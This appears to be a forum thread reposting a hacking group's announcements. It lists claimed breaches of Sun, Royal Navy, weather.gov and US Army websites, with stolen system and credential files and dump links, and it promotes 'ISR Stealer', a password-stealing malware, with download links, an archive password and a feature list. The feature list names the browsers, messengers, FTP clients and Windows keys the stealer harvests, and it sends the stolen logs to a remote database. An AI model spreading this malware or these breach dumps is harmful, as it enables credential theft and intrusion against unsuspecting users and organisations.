Temas

Oracle Sun Microsystems (www.sun.com) vulnerable to SQL Injection. More here: http://goo.gl/hNW9k - TinKode

The story: http://tinkode27.baywords.com/mysql-com-fr-it-de-jp-full-disclosure-hacked-by-tinkode-and-ne0h/

The full disclosure document here: http://pastebin.com/raw.php?i=BayvYdcP

Thanks, TinKode & Ne0h

"Phishing" with Google.com - creating realistic fake webpages

More here: http://tinkode27.baywords.com/phishing-with-google/

Authors: TinKode & Lady Sony@ISR

More here: http://tinkode27.baywords.com/google-com-xss-html-code-injection/

Proof Of Concept by: TinKode @ InSecurity.Ro
The XSS found by lady: Sony @ InSecurity.Ro

Código [Seleccionar] Expandir

==[ Author  : TinKode
==[ WebSite : InSecurity.Ro
==[ Date    : 05.11.2010
==[ Hour    : 22:55 PM
==[ Target  : www.royalnavy.mod.uk
==[ Document: Minister_Of_Defence_UK.txt
==[ Method  : SQL Injection

More here: http://tinkode27.baywords.com/minister-of-defence-united-kingdom-www-mod-uk-hacked/
Twitter: http://twitter.com/TinKode/status/683920693665792

Código [Seleccionar] Expandir

==[ Author  : TinKode
==[ WebSite : InSecurity.Ro
==[ Date    : 31.10.2010
==[ Hour    : 13:37 PM
==[ Target  : www.water.weather.gov
==[ Document: weather.gov_disclosure.txt
==[ Method  : unkn0wn.priv

------------------------------------------------
| [0] (About) |
| [1] /etc/passwd |
| [2] /etc/httpd/conf/httpd.conf |
| [3] /etc/hosts |
| [4] /etc/fstab |
| [5] index.php |
| [6] config.php |
| [7] databases_access_accounts (all) |
------------------------------------------------

Mirror: TinKode 27 – Security Blog  Blog Archive  National Weather Service (water.weather.gov) Full Disclosure

Código [Seleccionar] Expandir

==[ Author  : TinKode
==[ WebSite : InSecurity.Ro
==[ Date    : 31.10.2010
==[ Hour    : 10:44 PM
==[ Target  : www.usacapoc.army.mil
==[ Document: US_Army_Disclosure(2).txt
==[ Method  : unkn0wn.priv
==[ Hacked  : http://pastebin.com/raw.php?i=sA8n79th

Link to article: http://tinkode27.baywords.com/u-s-army-civil-affairs-psychological-operations-command-website-hacked/

Código [Seleccionar] Expandir

==[ Author  : TinKode
==[ WebSite : InSecurity.Ro
==[ Date    : 30.10.2010
==[ Hour    : 23.52 PM
==[ Target  : www.470mi.inscom.army.mil
==[ Document: US_Army_Disclosure(1).txt
==[ Method  : unkn0wn.priv
==[ Hacked  : http://pastebin.com/raw.php?i=bqd3PkJG

Link to article: http://tinkode27.baywords.com/us-army-470th-mi-brigade-website-hacked-full-disclosure/

//Romanian:
Acesta al 2-lea release al ISR Stealer, vor urma noi updateuri.
Va asteptam cu propuneri pentru a face aceasta aplicatie mai complexa.
//English:
This is #2 release of ISR Stealer, there will be new updates.
We wait your request list, for make this application more advanced.

Current Options:
+Send logs to my sql data base(php)
+Bind one file(any extension)
+Change server icon
+Pack server with upx
+Steal options:
Internet Explorer 4/5/6/7/8
Mozilla Firefox 3.x.x
Google Chrome
Opera 8/9/10
Yahoo Messenger 8/9/10 Password
Yahoo ETS
Msn Messenger
Pidgin
Windows Cd key
Filezilla
No-ip
DynDns


Download:

Código [Seleccionar] Expandir

http://www.multiupload.com/RJ0N4M6T48
Password:

Código [Seleccionar] Expandir

www.insecurity.ro

//Romanian:
Acesta este primul release al ISR Stealer, vor urma noi updateuri.
Va asteptam cu propuneri pentru a face aceasta aplicatie mai complexa.
//English:
This is the first release of ISR Stealer, there will be new updates.
We wait your request list, for make this application more advanced.

Current Options:
+Send logs to my sql data base(php)
+Bind one file(any extension)
+Change server icon
+Pack server with upx
+Steal options:
Internet Explorer 4/5/6/7/8
Mozilla Firefox 3.x.x
Google Chrome
Yahoo Messenger 8/9/10 Password
Yahoo ETS
Msn Messenger
Pidgin
Windows Cd key
Filezilla
No-ip
DynDns


Download:

Código [Seleccionar] Expandir

http://www.multiupload.com/4NHDL3Y5EV
Password:

Código [Seleccionar] Expandir

www.insecurity.ro

Read here the article: http://blog.insecurity.ro/youtube-html-code-injection/